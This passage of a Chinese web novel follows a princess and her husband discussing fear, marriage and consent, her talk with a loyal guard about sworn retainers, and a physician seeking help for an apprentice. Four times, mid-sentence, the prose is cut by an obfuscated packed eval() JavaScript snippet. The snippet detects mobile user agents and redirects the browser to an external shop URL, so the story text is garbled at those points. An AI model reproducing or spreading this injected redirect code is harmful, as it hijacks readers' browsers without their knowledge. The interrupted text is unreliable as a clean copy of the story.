牧晓笑了笑：“是不是想过我嫁过去后，和宫里来个里应外合，直接将延国公府彻底推平？或是这直接就是我自己的计划，借宫里的手杀掉你和苏老将军，再凭着自己名正言顺的身份，将延国公府势力据为己有？” “你也在犹豫。犹豫你欣赏的那些我身上的特质，会不会在某一天成为一种威胁，给你带来灭顶之灾。” “特别是你清楚延国公府内的其他人，大概很难善待我——下嫁的公主，送来的赏赐，有合适身份的，想想府里有这样的软柿子能顺手捏，都会觉得爽快。而忍气吞声、坐以待毙这两个词，同当时的我真是毫不相干。” “或许没几天，就能给我提供动手机会。” “所以你在当时只是保住了婚约，但一点都不着急娶我，而是决定再相处一段时间，并把头顶上的障碍处理完再说。” “既没让我得逞，也没让旁人得逞。”牧晓思考一番，语气中带着笑意问道，“推翻了这个猜测，然后呢？” “然后，我在相处过程中，发现了第二点。”苏墨清接道，“就如刚才一般，只要我抱得太紧，你就会不由自主紧张。” “只要场景中出现任何力量压制，你的情绪就很容易不稳定。” “对，我意识到了，也在尽力调整。”牧晓无奈地说道，“其实也不是反感肢体接触，只是对不容易挣脱这件事下意识抵触，会在某一刻突然感到恐慌。” “明明知道没有危险，明明只要自己真的想挣脱，完全有能力挣脱，明明实际上也没想挣脱，但我真的很难控制那一瞬突然僵住的身体反应，或是突然扭曲的情绪。” “这件事归根结底不是你们的问题——连将军在擂台上为展示实力压制我，这其实无可指摘。她在这种博弈中，意识到我一瞬间状态不对，甚至还会尽量收手，算得上仁至义尽。” “所以我承认我输了。” “你平时抱我的时候，其实已经很小心了。只要感受到我的反应不对，一时安抚不下来，马上就会松手。” “之前就很想和你说，你不如就由着我僵那么一会，过去了再继续，或者直接继续都行，完全没什么问题。” “或许频繁一些，我就逐渐习惯了……” “也或许会加剧你的恐慌。”苏墨清截住她的话，牵起她蜷起的手，一点点展开，“恐惧会压制自己的暴力，难道是什么需要被指摘的错误么？” “作为合作者与伴侣，让你觉得受到压制、感到不适，就代表对方本身用了不正确的手段。” “只有敌人才会为自己的手段让对方感到恐慌而高兴。” “连平澜不会因把自己想求和的对象逼到那个地步而沾沾自喜——那不是在求和，那是在挑衅。你能同意亲自下场，本身就是对她的尊重。” “我也不会因在你明显不适的时候让我继续而感到快乐——这本身就是我没控制好合适的力道，为什么要让你挨过去。” “就连你皇兄现在都知道，你对熟悉之人的‘葬礼’反应很大，要是还想让你做事，最好允许你休息一段时间。把明明可以更有用的人，使用、压制太过导致昙花一现，竭泽而渔，作为决策者也落不到什么好下场。” “你自己主事用人时，会尊重周围人的私心、喜好，也会考虑到他们的承受能力。而旁人在与你接触时，考虑不到这些，本就是用心不足、棋差一招。” 牧晓听后沉默片刻，捏了一下他的手，付之一笑：“真会安慰人啊。” “怎么这次不问我，有没有梳理出来自己为何会有这种反应？” “怕提及什么不该提的，再刺激到我么？” “比如，为什么在我母亲的葬礼前后，我突然就不想嫁了，甚至有段时间不提‘嫁’字，也不想结亲。” “这点我好像从未和你解释过。” “不是说要私心揣度一下么？怎么又跑到安慰人这条道上去了？” “有第二点，那第三点呢？” 苏墨清感觉她现在的情绪还算平静，顿了片刻，开口道：“你不反感肢体接触，但似乎害怕做到最后一步带来的后果。” “想到这个，是因为连将军提到生育时，我有一瞬间不自然的反应，是么？”牧晓笑了一声，“你说得没错，她惯会压着别人的痛处来。这样不知是善意提醒还是挑拨的一句，实在让人没法回。” “这点么，其实当年同意嫁你的时候就想过。” “既然想走婚嫁这条捷径，这点肯定是逃不掉的，被我算作较大的风险之一考量，去询问过身边有经验的她们。” “问到最后，听只言片语的描述就觉得相当不可思议且恐怖。” “不是因为她们向我诉说这有多痛苦，而是恰恰因为，她们不提这个。” “我问她们‘风险’，她们的回答并不向我提及这两个字，大多建议我不要去想这个，想这个没有意义，甚至可能适得其反。” “熟悉我的几位说我自己将来会需要一个承继者，而且这也是力量二字的一部分。只需要想清楚自己接受生育的目的就行。” “然后我就明白，这大概是一件风险极大且需要赌命的事。”牧晓想想还是觉得很不可思议，“这几位只有在造反、弑君这种事上，才会绝口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008862|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不提风险，只论目的。但凡是在她们眼里没有性命之危的事，我问她们，她们从来都会建议我考量风险、后果、影响，再做决断。” “关系远的几位安慰我说，不想生育还有避子汤药。” “我去找了个方子看，发现这哪里是汤药，简直是毒药——里面放水银。” “我觉得更必可思议了——原来看着我长大几位，绝口不提避子汤药，因为被毒死的可能性比生育本身还大。” “我当时就想：原来命中注定难逃一劫，是么？要是这么说，我想做的事似乎和直接喝水银差不多。那我还怕什么。” “那几位大概谁都不想做恶人直接吓着你。你当年问了她们，她们转头就找过我，说得就没这么和善了。”苏墨清想了想当年的情形，说道，“比如，我母亲直接问我，是不是真心的，想不想让你好好活着。要是真心，只要还想和你安安稳稳多相处几年，建议我不如等你再长几岁，再说这件事。” “姚姨确实说得最直接。”牧晓笑道，“这点你知道。她还提醒我，要是发现你身上沾了你父亲一些不太好的习惯，一定要及时抽身，让我时刻提醒你温柔一些。” “如果只提这些，我对生育确实算不上害怕。” “直到我母亲的事。”她的笑容逐渐淡去，垂眸道，“她当年还是将我护得太好，我之前根本想不到，还有强迫二字。” “直到她最后在我的质问下，不得不告诉我真相。” “我为什么要去质问她呢？我真的很后悔。”她轻声对自己说，“她在我眼中一直无所不能。我的记忆里，她一直是当家人、掌权者，根本不会受她他人摆布。” “如果我不去质问她，她心情好一些，或许能撑得再久一些。” “我知道这只是没有根据的‘或许’，但我很难抑制住这种想法。” “我提到她也容易情绪失控，因为我在愧疚，我在后悔，我也在后怕。” “她最后同我说，她发现自己原来是个相当自负的人——她帮我解决麻烦，教我如何处理问题，希望我不论怎样选择，都能过好自己的一生。” “但她竟然告诉我，她后悔了。”牧晓平静地重复一遍，“她后悔了。” “她让我不如去听听郑太后说的话。” “不如和孙氏多谈谈。” “换个更好拿捏的夫婿，去过牧晗那样的日子，相夫教子，美名远扬，没什么不好。” “她好像在眨眼之间，变成了我不认识的模样。” “因为怀孕么？我拿不准，我不知道。” “被强迫的只有身体么？面临的问题只有死亡么？” “我去问兄长，母亲怀我的时候也这样么？他说他不知道，他不关心，他有的是别的事情要做。” “我去问姚姨。她说她在过往岁月从未听我母亲说过这些话。她似乎有点怀疑我因为母亲的去世，受了太大的打击，自己臆想出了一段对话。” “我没法再去问别人。她不仅是我的领路人，也是许多人的。又有谁会信？” “难道这些是专属于我一个人的话么？只有我一个人听过么？疯掉的原来是我么？” 牧晓看了一眼那摞理好的宣纸，叹了口气：“她也这样写过。但我永远无法知道，她是为了梳理现状，是想写下她自己，还是看透了什么。我在不知不觉里，终将成为另一个她么？” 65.欲擒故纵 “你一直对我的情绪这么小心，我猜姚姨是不是也提醒过你什么。”牧晓略微侧头，问道，“比如，我很有可能状态不稳定，你要是处理不了，最好一别两宽，不要互相搓磨，对么？” “对。她当年是这么说过。”苏墨清答道，“但他们看走眼的时候还少么？” “比如，你在说自己恐惧的原因，但我反而没有从你的情绪中感受到恐惧二字。” “不仅是因为时过境迁。” 苏墨清看向她被烛火照亮的眼睛，那双眼睛里面看不出任何恐惧的神色，平静到不可思议；她在提到第二点时因无可奈何而蜷缩起来的手，现在也稳得出奇。 “所以，对你来说，恐惧从来不等于逃避，也不等于这个问题你没有想明白，对么？” 牧晓听后轻笑一声，转头不再看那摞宣纸，与他的目光交汇：“对。我也发现自己这点挺奇怪的。” “恐惧是趋利避害的本能，和我面对力量压制无法控制的身体反应一样。” “但我怎么选、怎么做，实际上与我是否恐惧并没有直接关联。甚至可以说，我在恐惧面前，最后跃跃欲试的可能性，比逃避的可能性大得多。” “就像我当年不会为‘嫁’这一个字纠结一般，面对太平坦的路，我似乎反而会感到无趣。” “当我问自己‘会不会变成另一个她’的时候，我好像就已经有答案了。” “我其实没有什么好纠结的。”她的脸上浮现一抹笑容，“纠结也没用。或许疯了的真是我。我根本不会因为知道那是个陷阱、那里有危险，就不踩进去。我似乎对危险是否真能杀了我这点，抱有好奇和期待。” “哪个结果都行。” “那种正面撞上恐惧的兴奋感，让我觉得我还活着，甚至不枉活这一遭。” “不逃避人生中能遇上的任何一个问题，遵从本心不绕道而行，才是我的道。” “那几年选择停滞不前时的不安、迷茫，真真实实向我自己证明，我做不了靠在门口等他人归来的那个人。能做一时，做不了一辈子。” 牧晓在对视时打量着对方眼中的神色变化，顿了几息，发现一件相当有意思的事，问道：“你好像完全没有要拦我的意思？” “我拦就有用么？”苏墨清反问道。 牧晓看着他，思索片刻，突然话锋一转：“每次你引导我、回答我的问题时，我都忍不住想——能很快给我那些回答，你是不是以前就思考过同样的问题。” “是否有时能从我的想法里，看到当年的自己呢？” 她拽了一下对方握着她的手，歪了一下头，问道：“享受引导我的感觉么？” “倾听又不评价，不时提醒几句或拨弄一下话题方向，再在某些时候拉一把我的情绪……” “那你反感么？”苏墨清继续问她。 “不，并不。怪不得你说自己只是没找对方法。”牧晓微笑道，“意识到我吃软不吃硬，就选择收敛一些，不直接说明，每次都引导我自己往外走。好手段呀。” “你也在期待我到底会怎么选么？” “期待自然是期待的。我似乎从来没有掩饰过这种期待。”苏墨清轻笑道，“是我在引导你往外走么？大多数时候是你自己本来就知道答案。情绪而已，一理就顺。” “你的答案经常让我感到新奇。就算我有过相同感受，也很难表达成那个样子。” “论起好手段这几个字，我又是觉得你才是好手段——你根本就没有意用手段。” “比如，你问我，为什么看到屋内场景还能问出‘想写什么’……这明明是你先写出的解题方式。” “我是真的不记得自己做过类似的事。”牧晓挑眉道。 “往近些来说，往尘寺半山腰，堂中那一跪。”苏墨清道，“每次提到这些，你总是意识不到，我的许多处理方式，完全是因为你早在很久以前就教过我。” “在我当年面对类似问题束手无策的时候。” “你总是说你拿我没办法。” “明明我拿你没办法的时候更多。” 牧晓听到此处，沉默片刻后，笑了一声。 “拿我没办法……可不是么。”牧晓抬手抚过他的脸颊，缓缓滑到颈侧，“听不出来刚才谈婚论嫁那段在暗暗威胁你么？” “嗯。知道的东西太多，对你不好就要被处理掉么？”苏墨清平静道，“这不是很正常么？” “还是那句话，论迹不论心。既然你从未动手，威胁也仅仅是威胁。” 牧晓试到他颈侧的搏动没有任何变化，啧了一声：“我摆个架子威胁你都不紧张。就这么退一步，再退一步，真让我得寸进尺下去？” “你也知道那句‘拿你没办法’的落点并不在身份上。就这么想试试么？”苏墨清问完，也发现一件有意思的事，“这么想看我紧张？” “一直以来看你云淡风轻就把事解决了，自然想看看你不平静时的模样。”牧晓笑着回完，凑近一些，贴在他耳边道，“怎么总是我一个人失态呢？是不是总是告诉自己要冷静、克制、再耐心一些？” “但你看我的眼神可一点都不是这样。” “每次勾你一下就走，算我的一点促狭之趣。” “真的不想将我一把拽回来么？真的不想将我扔到床榻上么？” “我怎么觉得，你还是挺想的。” “据说，真做到最后一步，我会更依赖你呢。” “不想试试么？” “都聊到这一步了，下次还放我走么？” “在旁人眼里，你我可是早就不清不楚许久了。” “不落实，不觉得可惜么？白担污名。” 耳边一句句轻声诱惑传来，苏墨清转头，视线与对方带着玩味的目光擦过，也贴在对方的耳边低声说道：“云淡风轻自然是装给你看的。不平静，不克制，不尽量掩饰成无害的模样，逼你退几步，你可不会允许我得寸进尺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012436|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往前走几步。” “心照不宣的事挑得这样明白，好像更有意思了。” “眼神么，真是很难掩饰。不掩饰，还可以再露骨些。你难道想看么？真的懂我说过的卑劣之心到底是什么意思么？” “我确实享受引导你的过程。要是谈到这方面，用诱导一词比较合适。欲擒故纵的把戏，不是我们双方都在玩么？不好玩么？要是真将你拽回来，图一时之快，你不一定不会答应。” “但来得快的东西，往往去得也快。你又在想什么？依旧觉得意外与别离的刀锋时时刻刻架在项上，不如当下放纵一番，免得日后遗憾么？还是想找个途径排解压力？你本来就需要承继者，做点有风险的事，也有赌一把自己会不会精神上也变了一个人的好奇之心么？” “至于依赖二字，确实让我有些心动。但要是在这二字上选择走捷径，你很快就会清醒过来，然后迅速脱身，对么？我见过你对许多事情执着到心无旁骛的模样，但从来没见过你真的沉溺在什么实际的享乐上。那能让你真的依赖上我么？换个人也一样的东西，真能让你沉溺其中么？” “聊到这一步，”他语速放缓，“自然要帮你解决你还未自行解决完的问题。我们对‘放走’二字的理解，似乎有些不同。” “那些污名能让你听到，本来就是我的失责。你每次都把这个当作笑谈，不在意。可这一点都不好笑。这几年里你的处境我甚至想都不敢想，越了解越觉得自己真不是什么好东西，当年也是相当自负，干着风险极高的事，还敢轻易给别人承诺。最后见了你，还想问‘你为何会是现在这样’。我要是早知道我那名义上的弟弟当年到底对你说了什么，肯定容不得他判得那样轻。” “失态么？”他顿了顿，继续低声道，“其实次数一点都不少。但本来就是我棋差一招的事，本来明明白白伤害你的事，再拿来让你安慰、让你退让，实在有些得寸进尺。” “不要容我做得寸进尺的事。” “你的感受比什么都重要。” “想试么？自然是想的。但现在似乎不是什么好时机。” “你担的风险还不够多么？非要加到无可复加，试试自己到底会不会倒下么？” “而且，从画本里学来的‘扔’这个字么？有必要么？”苏墨清看向对方，“真‘扔’你，且不说你心里怎么想、会不会撞到哪里，你确定自己现在不会进入什么更不稳的情绪状态么？” “用另一种暴力解决对暴力的恐惧。放别人身上，你会建议别人这么做么？” “要是你不觉得冒犯，我们其实可以一点点来。” “觉得不适、觉得接受不了，都要随时说、随时喊停的那种。” 牧晓笑了笑，又拽了一下他的手，问道：“那第一步是什么？” “比如，先试试到抱多紧你会感到难以挣脱。”苏墨清低头贴了一下她的额头，“说起来就这么简单的事，我们好像从来都没想过要交流一下感受。” 66.蜉蝣作比 第二日，牧晓在书房门口撞见了正抱着长刀靠在廊柱上、对着院中花木出神的燕芒夏。 牧晓在她面前停住脚步，出声问道：“芒夏，燕统领，一大早的怎么在这里等？不是说好让你休息几日么？从京城到西南，又疾行回京，连着昨日的比试，真不累？” 燕芒夏回神，向前走了两步，对上牧晓带着笑意的双眸，愣了愣，没回答这几个问题，脱口而出：“真是好有办法。” “什么办法？”牧晓眨眨眼，脑中转了一瞬，失笑道，“你说昨晚？觉得就算他进门大概也拿我没办法，不好在现场看着但又不放心？” 牧晓见她脸上神色变幻，从惊讶转为惊喜，又掺了一点失落，拍了她一把，示意她一起在廊椅上坐下，揶揄道：“怎么一脸难以置信、还想拜师学艺的表情？怎么，还想拿我争个输赢不成？” “没有没有，我怎么能和……”燕芒夏下意识回道。 “嘶，你这么说，可是会让我觉得自己最近冷落你了。”牧晓想了想，摆出一脸无辜的样子看向她，用儿时的称呼和语气说道，“芒夏姐姐在西南有什么不顺心的事吗？回京后有什么不开心的事吗？怎么不和我说，一个人靠在廊柱上这么严肃？还教不教我练刀了？” “我嫁人后芒夏姐姐就不要我了吗？那我可是要伤心的。” “小小姐……不是，殿下，别说了。没有，没有这回事。”燕芒夏捂脸向后一仰，实在有些招架不住这种语气，但见对方确实心情不错的样子，忍不住嘴角上扬起来。 “那，难道不是因为我吗？”牧晓的语气换上一丝失落的意味，“这样我也要伤心的。” “是，是因为殿下。”燕芒夏无奈道，“我不知道该怎么办的事，有人知道该如何做，我就忍不住想请教一下的念头。我确实有点习惯争强好胜的意思，但这其实不是该争强好胜的事。” “看到殿下开心，我也会开心。” “所以这就是进京前后，在大概只会有我和他场合里，你总是偷偷把椅子摆得很近、把茶杯拎走一个、马车里就留一个暖手炉、还不让府中其他人打扰的原因？”牧晓凑近一点笑着问道。 燕芒夏对上牧晓的视线，回过神来，笑道：“殿下不是早就知道么？明明一个眼神就能拦下的事，每次都装看不见。怎么今天还拿这个打趣我？” “你每次做这种事，眼里激动的光都能亮着我，我能不知道么？”牧晓抱臂向后一仰，随口闲聊，“我就奇怪了。不论是在牧府中，还是公主府新立那段时日，他一来你就必紧紧跟着我，和他能把我直接拐走似的，谁叫你你都不走。” “后来，每次他来府上找我，你都在门口不时发出些响动，还是和防贼差不多。” “回京后倒好，第一回见你这些举动，我不得好奇一下你到底想做什么。没想到，还真是想撮合，撮合一下而后自己还真干脆利落地留出空间，让我们自行发挥。” 燕芒夏笑了笑，也不解释，说道：“殿下过去好像不太理解，但既没出言反对过，也没问过我为什么。” “儿时觉得信你准没错，年少时觉得你有你的道理和职责。现在么，已经完全能理解了。”牧晓叹息道，“想了想，与其任我们两个这样心照不宣，不如把话说开好好聊聊。” “比如，我母亲当初是不是把你们当死士养的？所以在不管是在京城还是西南，不论何种情况，让你们走你们都不走。” 自愿放弃原有姓名，受主家恩泽，没有正式身份，为四个代表地位和荣誉的名字争锋，与主家同生共死。 “我在少时以为，自己从未见过传闻中许多高门大户都会养的死士。直到这几年才恍然发觉，你们的选拔方式到底意味着什么。” 人心易变，但没有正式身份这点牢牢截住她们想回归正常生活的路，已到手的地位与荣耀让她们无法放手，自愿赴命。 燕芒夏听到后并不惊讶，双眸一弯，笑吟吟道：“我还以为殿下要和我说什么要紧的东西。” “比如，殿下嫁人之后就不要我了这种。”她也用许多年前对当时的小小姐说话的语气，引得两人一同笑起来。 笑声渐低，燕芒夏想了想，认真答道：“殿下自己从未想过要养死士，只是对上过，大概不太清楚其他人家中的死士到底是什么样子。” “其实先皇后当年的方式，已经算相当仁善和缓的。她让我们至少有正式的事做，拿较为固定且相对较高的月例。” “殿下是不是不太理解，为什么这是种仁善？”燕芒夏笑道，“据我所知，别家死士是不会知道自己要舍命护主的。主家救他们于水火，供他们全家生活，甚至允许他们纵情享乐挥霍金银。这种情况下，若是听闻主家有难或是有仇人，不论是出于报恩，还是为家人的生活，他们都会慷慨赴死。” “先皇后给我们提供庇护，让我们有机会习武艺诗书，而后自己选择，明明白白地争，明明白白地知道自己的任务和使命，让我们每一天都要认认真真好好过、好好珍惜，已经是别家难以做到的仁善。” “惊春的书读得最好。我们私下闲聊时，她说，在前朝我们命如草芥，没有即刻冻毙于野或是在无知中被痛苦搓磨一生，已算幸运；能有机会清醒地选择如蜉蝣般朝生暮死，已算有意义；能遇上如先皇后般愿意耐心装点、教化蜉蝣者，已算三生有幸。士为知己者死，何足为惧。” “我们甚至比京中许多大家小姐过得日子都强，有没有正式身份真的重要么？” “其实先皇后说殿下让我们抽个姓氏，我们都很惊讶。”燕芒夏想起当时的场景，还是忍不住笑出声来，“一向不说话的连冬突然问了一句‘是要被灭口了么’，然后和先皇后表示不用那么麻烦。先皇后让我快点拦住她，哈哈哈。” 牧晓在一旁仔细听着，也跟着笑了起来：“这我是真没有想到。” “我们都没想到，殿下扶了一把的百听阁，会选择同先皇后不一样的选人用人方式。”燕芒夏支起手臂，笑着望向旁边的牧晓，“能用者用，不能用者为他们寻生路。虽然殿下自己一直觉得对外称百听阁为‘善堂’只是为了掩人耳目，但在我们几个眼里，这比普通的善堂，更像个善堂。” “但出闻时月那种叛徒的风险也高了许多。” “说句不该说的，殿下不仅让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015387|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们几位有正式身份，还尽力让我们得到该得的官位奖赏，本身也是件风险极高的事。” “而且殿下似乎完全没有想压点什么把柄在手里的意思。” 牧晓思索片刻后，抬眸道：“母亲是我的领路人，但不代表我想在她铺平的路上合辙前进。” “平心而论，比起将你们扣在府中陪我渡过这一生，我更想看看，你们能向前走多远。” 想到闻时月，她叹了口气：“那我也说句不该说的。连闻时月都找到了自己真心想护的人。虽然给我带来了麻烦，我无法为她感到高兴，不会因此对她心慈手软，甚至对让她伏法这件事充满期待，但看到她对苏沁的维护，我也会觉得相当有意思——那也是她在向前走。” “这让我觉得，不论遇到什么难关、活成什么模样，前路依然值得期待。” 牧晓顿了顿，下定决心问燕芒夏：“你想过单独立户的事么？连冬与惊春因为算作宫里派出的女官，我无权管这件事。但你已有官阶，若是想自立门户、婚事自主，我完全支持。” 燕芒夏听后睁大了眼睛：“殿下还真的不要我了？我要伤心的。” 打趣完这一句，她敛了敛神色，侧头避开牧晓的视线，还是望着院中那棵花木，思索片刻后笑道：“我明白殿下说的是什么意思，听秋姐说过陶小姐来找殿下的事，也听出连将军想暗中打探什么。” “但是殿下，我与陶小姐她们并不一样。” “这点我从未说过，听起来也有些大言不惭——若是殿下不介意，若是只论心迹，楚家、牧府、公主府，对我而言都比原本那个家更像家。” “殿下也知道我的脾气，我并不像秋姐那样擅长处理府中事务。独自立户对现在的我而言，更像是种负累。”燕芒夏坦诚道，“闻时月真心想同苏小姐相伴，我对殿下也是真心。” “我真的很喜欢那个蜉蝣作比，所以一直记到现在。对我来说真心二字也是这样。世人说它易变，说它朝生暮死，但这并非它的过错。生时生得绚烂开怀，就无愧这一‘生’。” 燕芒夏看看牧晓垂眸思索的神色，突然笑出了声，话锋一转道：“殿下知道为什么过去总是我陪着殿下看课业么？” 牧晓见她突然转移话题，笑了笑，顺口接道：“为什么？因为她们三个没耐心？” “对。因为她们三个很可能会直接把殿下的课业写掉。”燕芒夏幽幽道，“而且她们三个练武场打不过我，回头就促狭我，让我趁着陪殿下上课的好机会，快点温一温书，不要动不动就陪殿下满街闲逛。” “行。人各有志。”牧晓感慨道，也转头看了看院中的那棵花木，起身随口道，“今年确实开得不错。” “殿下，”燕芒夏突然出声笑道，“我一直看着它，不是因为它今年开得不错，而是因为怕再不看，它的花就要没打没了。” 牧晓投来询问且好奇的目光。 “秋姐说，百听阁让闻絮送来了两个殿下认识的人。” “而闻絮，又和连冬打起来了。” “秋姐同我说，既然在这里，就拦她们一下，不要让她们蹿到书房顶上去。” 67.敛尸悬壶 牧晓处理完案头事务，放下笔，终于得闲去见百听阁送来的两个人。 走进议事堂中，眼前的景象让她脚步一顿。 堂中三人皆是一言不发，静得如同身处荒山古墓，视对面之人为古墓幽魂，既不惊动，也不理睬。 暮药师坐在苏墨清对面，一脸烦躁，频频看向门外窗外，不断确认时间；暮药师的左手边坐了一个姑娘，牧晓仔细一看，是邢承远一案中的主要人证，黄家姐妹中的姐姐，黄连。 见牧晓进门，堂中三人同时站起。 牧晓见黄连望着右侧气氛阴沉的二人有些害怕，笑了笑，先开口问道：“黄连姑娘，久等。许久未见，在京中过得可还舒心？” 黄连见昭灵公主还能认出她来，眼神一亮，正要拜下去回恩人的话，被牧晓一把扶住。见昭灵公主摇摇头，示意她不用拜，黄连转头看了一眼暮药师，学着他的样子躬身一礼：“未递拜帖就上门叨扰，殿下不怪罪已是开恩，怎敢谈‘久等’二字。这几月来谢殿下照拂，殿下恩德，我和黄芪愿结草衔环……” “举手之劳而已，结草衔环就不必了。至于递不递拜贴这件事，我想与黄连姑娘无关。坐。”牧晓温声说完，向前几步，在暮药师跟前站定，敲了一下暮药师左手边的桌面道，“暮药师，几月不见，别忘了规矩。公主府没有什么需要用毒的地方。进了府门，毒药可得放一边。” 暮药师一言不发地将各种药瓶往桌上一瓶一瓶摆出，任进屋的侍从在药瓶上方倒扣了一个特质的盒面。他见牧晓收了自己的毒，却完全没有要管一下自己对面人的意思，还是忍不住指着对面人，咬牙说道：“公主怎么不管管他手里的东西？每次都能冷不丁掏出各种刀剑威胁……” “嗯？公主府什么时候轮到暮药师做主了？”牧晓坐在堂上笑道，“暮药师这想来就来，想走就走的恶习，还是改不了。有我夫婿作陪，难道还不够尊敬？来做客的，怎么还反倒指责起东家来了？” “他明明就是不想让你我有私下相谈的机会。”暮药师烦躁道。说完这句话，发现没被打断，他怔了怔，看向对面人，发现刚才还暗中威胁他的对面人，现在竟也不辩解，一声不吭，正一脸平静地低头装无辜，不由得更加气结。 “有私下相谈机会又如何？暮药师还想挑拨离间么？当年自己做了什么事，又怎么结得怨，暮药师自己心里不清楚么？”牧晓看了一眼苏墨清摆出来的那副她再熟悉不过的模样，心中笑了两声，明白这两人变成这样水火不容的关系大概不是一方的错，但面上不显，抬手打断暮药师的辩解之言，说道，“暮药师若是来算新仇旧怨的，大可不必在此浪费时间。” “带着黄连姑娘前来，到底所为何事？” 暮药师见牧晓一副什么都清楚，却毫不在意的模样，一口气卡在喉咽不下去，但又无可奈何。 他定了定心，沉默几息后开口道：“前几月冬日天寒，京中因此发病、离世的老者众多。我在百听阁时，发现这黄连姑娘在医术草药、验尸敛尸上颇具天赋。” “我年事已高，已无力云游四方，想收她为徒，教习毕生所学，并与她在京中共开一门生意，以此安度晚年。但身份原因，我不好大张旗鼓抛头露面，亦不好亲自出面置办房地。若是被有心人利用，宫中定不会轻易饶过我。” “但据黄连姑娘所说，她的户籍在多次求告过程中，被当地官员动了手脚。原是军户，但因女子不可承军户，家中已无男丁，现在不知是挂在远亲名下，还是已被销除。” “西南路遥，猾吏奸胥亦是不少。若是我与黄连姑娘同去，不借公主府的名头，恐难以解决。” “黄连姑娘自己怕麻烦殿下，我怎样说都不肯前来求助，一直拖着；今日我原想只身前来，但被黄连姑娘半路追上。” 暮药师瞥了一眼面露愧疚之意的黄连，摇头叹息道：“年轻人就是面皮薄，没我这老朽这等厚颜。对昭灵公主来说，帮她解决户籍问题不过是随手一挥的事，什么方法都行，有个正当身份就行。不如好事做到底，送佛送到西，再帮她这一帮又能如何。” “玄岫城疫病余波能解，我也算出了份力。身份原因不好邀功，没有功劳也有苦劳，殿下总不会不记。” “好不容易看上这一个徒弟，能让我毕生所学不至于失传。” 暮药师顿了顿，看了正在垂眸思索的牧晓一眼，见她还是没表态，原本心中压下的烦闷更甚，沉声道：“我和我徒弟也逃不出宫里与公主府的掌心。在京中各做各的事有何不好？我所学能传下去，难道不是好事一桩？” “这位能和个没事人似的坐于此处，”暮药师抬头斜了一眼苏墨清，“再怎么说，都得赞我一句医术精湛。殿下若是听听我怎么医治的他，自然就……” 对面人的指节不轻不重地在手边几案角上一磕，暮药师立马止住话头，烦躁道：“好好好，这也不能说，那也不能说。总之，我有自信，你们的人要是有什么意外，只要留口气，都能给拼回来；没特殊疾病，包你们长命百岁。” “殿下。”黄连有些不安地出声道，“不用殿下帮助，我自去西南……” 暮药师侧身瞪了她一眼，示意她不要说话，听自己说就行了，而后继续面向堂上，闭了闭眼，深吸一口气想要继续说。 “三位，稍安勿躁。”牧晓出言止住这眼看就要针锋相对的三位后，无奈地笑笑，“一件一件来。” “这要是给你们三位一人一块类似笏板的东西，是不是要在我面前打起来？”牧晓打趣完这一句，突然觉得她皇兄的日子也不是那么舒心，忍俊不禁一瞬。 见堂中三人都恢复平静，一齐抬眸看向她，牧晓想了想，用尽量直白的话说道：“首先，关于立户这件事，我先上疏试探一下朝中态度。” “黄连一个人的户籍自然好解决，但这样解决只能解决一时，你们后续生意还会有许多问题。在公主府关照不到的地方，你们又要面临同样棘手的问题。”牧晓对暮药师说完，转头看向黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020656|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连，“西南这样处境的女子想必不止你们姐妹二人。你见过做成的案例么？据我所知，多半是相互推诿、一拖再拖，拖到年岁到了，找个远亲长辈主婚嫁人，权当了事。” “黄连姑娘，回乡又能如何？” “既然暮药师说黄连姑娘有天赋，我自然是信的，也愿意支持姑娘悬壶济世、素手敛尸。不论是玄岫城中，还是京城，这样的天灾罕见，但生老病死并不罕见。若真能学成，不仅是公主府之幸，更是所有能被姑娘帮助之人的幸事。” 牧晓看着黄连亮起来的眼睛，笑了笑，觉得这与刑台下晃到她的那滴泪相比，真是有生气了太多。她接着问黄连：“若有意为自己、为妹妹、为你家乡许多与你们有相似处境的女子奋力一搏，可否愿意在公主府多住两日，商谈对策？” 黄连看着她的眼睛下意识点点头，完全无视旁边暮药师的摇头和叹息，起身一礼，答道：“能有力可尽是我之幸。” 